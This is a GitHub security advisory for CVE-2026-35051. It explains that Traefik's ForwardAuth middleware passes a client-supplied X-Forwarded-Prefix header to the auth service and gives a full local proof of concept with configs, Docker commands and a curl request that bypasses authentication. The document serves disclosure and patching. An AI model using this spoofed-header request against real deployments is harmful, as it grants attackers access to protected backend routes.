Skip to content

Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication

High severity GitHub Reviewed Published Apr 24, 2026 in traefik/traefik • Updated Apr 24, 2026

Package

gomod github.com/traefik/traefik (Go)

Affected versions

<= 1.7.34

Patched versions

None
gomod github.com/traefik/traefik/v2 (Go)
< 2.11.43
2.11.43
gomod github.com/traefik/traefik/v3 (Go)
>= 3.7.0-ea.1, < 3.7.0-rc.2
>= 3.0.0-beta1, < 3.6.14
3.7.0-rc.2
3.6.14

Description

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description

Summary

ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details

The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:

func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
    utils.CopyHeaders(forwardReq.Header, req.Header)
    ...
    forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

  • X-Forwarded-For
  • X-Forwarded-Method
  • X-Forwarded-Proto
  • X-Forwarded-Port
  • X-Forwarded-Host
  • X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/strip_prefix.go, Traefik appends the stripped prefix using Header.Add:

func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
    req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

  1. /admin (attacker-controlled)
  2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

  • The docs say trustForwardHeader means "Trust all X-Forwarded-* headers" and defaults to false.
  • The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded-* headers and removed from untrusted sources.
  • The direct-to-Traefik test case behaves consistently with that expectation and returns 403.
  • Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

  • pkg/middlewares/auth/forward.go lines 393-459
  • pkg/middlewares/stripprefix/strip_prefix.go lines 65-68
  • pkg/middlewares/forwardedheaders/forwarded_header.go lines 15-43
  • docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140
  • docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC

The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

  1. Create traefik.toml:
[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.forwardedHeaders]
      trustedIPs = ["172.31.79.0/24"]

[providers]
  [providers.file]
    filename = "/etc/traefik/dynamic.toml"
    watch = false

[log]
  level = "DEBUG"

[accessLog]
  1. Create dynamic.toml:
[http.routers]
  [http.routers.app]
    entryPoints = ["web"]
    rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
    middlewares = ["strip-forbidden", "authz"]
    service = "backend"

[http.middlewares]
  [http.middlewares.strip-forbidden.stripPrefix]
    prefixes = ["/forbidden"]

  [http.middlewares.authz.forwardAuth]
    address = "http://auth:8000/check"
    trustForwardHeader = false
    authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services]
  [http.services.backend.loadBalancer]
    [[http.services.backend.loadBalancer.servers]]
      url = "http://backend:80"
  1. Create auth.py:
import json
from http.server import BaseHTTPRequestHandler, HTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.startswith("/check"):
            self.send_response(404)
            self.end_headers()
            return

        prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
        first = prefixes[0] if prefixes else ""
        payload = {
            "path": self.path,
            "first_prefix": first,
            "all_prefixes": prefixes,
            "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
        }
        print(json.dumps(payload), flush=True)

        if first == "/admin":
            self.send_response(200)
            self.send_header("X-Auth-First-Prefix", first)
            self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
            self.end_headers()
            self.wfile.write(b"authorized\n")
            return

        self.send_response(403)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(payload).encode() + b"\n")


HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
  1. Create frontend.conf:
server {
    listen 80;
    access_log /dev/stdout;

    location / {
        proxy_http_version 1.1;
        proxy_pass http://traefik:80;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \
  --network traefik-readme-net \
  --network-alias backend \
  traefik/whoami

docker run -d --name traefik-readme-auth \
  --network traefik-readme-net \
  --network-alias auth \
  -v "$PWD/auth.py:/app/auth.py:ro" \
  -w /app \
  python:3.12-alpine \
  python /app/auth.py

docker run -d --name traefik-readme-traefik \
  --network traefik-readme-net \
  --network-alias traefik \
  -p 18081:80 \
  -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
  -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
  traefik:v3.6.12

docker run -d --name traefik-readme-frontend \
  --network traefik-readme-net \
  -p 18080:80 \
  -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
  nginx:alpine
  1. Send three requests:

Direct to Traefik, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18081/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, no spoofing:

curl -sS -i \
  -H 'Host: app.local' \
  http://127.0.0.1:18080/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:

HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

  1. Optional log confirmation from the auth service:
docker logs traefik-readme-auth

Observed log sequence:

{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
  1. Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net

Impact

This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

  • run Traefik behind a trusted upstream proxy
  • use ForwardAuth
  • rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers
  • pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
  • make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth
    In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

References

@nmengin nmengin published to traefik/traefik Apr 24, 2026
Published to the GitHub Advisory Database Apr 24, 2026
Reviewed Apr 24, 2026
Last updated Apr 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

CVE ID

CVE-2026-35051

GHSA ID

GHSA-6384-m2mw-rf54

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.